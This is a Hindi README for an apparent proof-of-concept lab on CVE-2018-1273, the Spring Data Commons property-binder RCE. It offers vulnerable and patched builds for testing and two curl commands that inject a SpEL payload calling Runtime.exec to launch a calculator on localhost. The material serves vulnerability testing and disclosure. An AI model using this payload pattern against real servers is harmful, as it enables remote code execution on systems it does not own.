
CVE-2018-1273 के लिए PoC: REST एंडपॉइंट्स के विरुद्ध क्राफ्टेड अनुरोध पैरामीटर के माध्यम से Spring Data Commons प्रॉपर्टी बाइंडर RCE। परीक्षण के लिए कमजोर और पैच किए गए संस्करण शामिल हैं।
Spring Data Commons, संस्करण 1.13 से 1.13.10, 2.0 से 2.0.5, और पुराने असमर्थित संस्करणों में विशेष तत्वों के अनुचित निष्प्रभावीकरण के कारण उत्पन्न होने वाली एक प्रॉपर्टी बाइंडर भेद्यता मौजूद है। एक अनधिकृत दूरस्थ दुर्भावनापूर्ण उपयोगकर्ता (या हमलावर) Spring Data REST समर्थित HTTP संसाधनों के विरुद्ध विशेष रूप से तैयार किए गए अनुरोध पैरामीटर प्रदान कर सकता है, या Spring Data की प्रोजेक्शन-आधारित अनुरोध पेलोड बाइंडिंग का उपयोग कर सकता है, जिससे दूरस्थ कोड निष्पादन हमला हो सकता है।
अधिक जानकारी यहाँ
एप्लिकेशन को Spring Data Commons के कमजोर संस्करण या फिक्स्ड संस्करण के साथ परीक्षण किया जा सकता है।
mvn spring-boot:run
mvn spring-boot:run -Dfixed
यह जांचने के लिए निम्न कमांड चलाएँ कि क्या भेद्यता का शोषण किया जा सकता है:
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"
द्वारा निर्मित: https://www.arima.eu
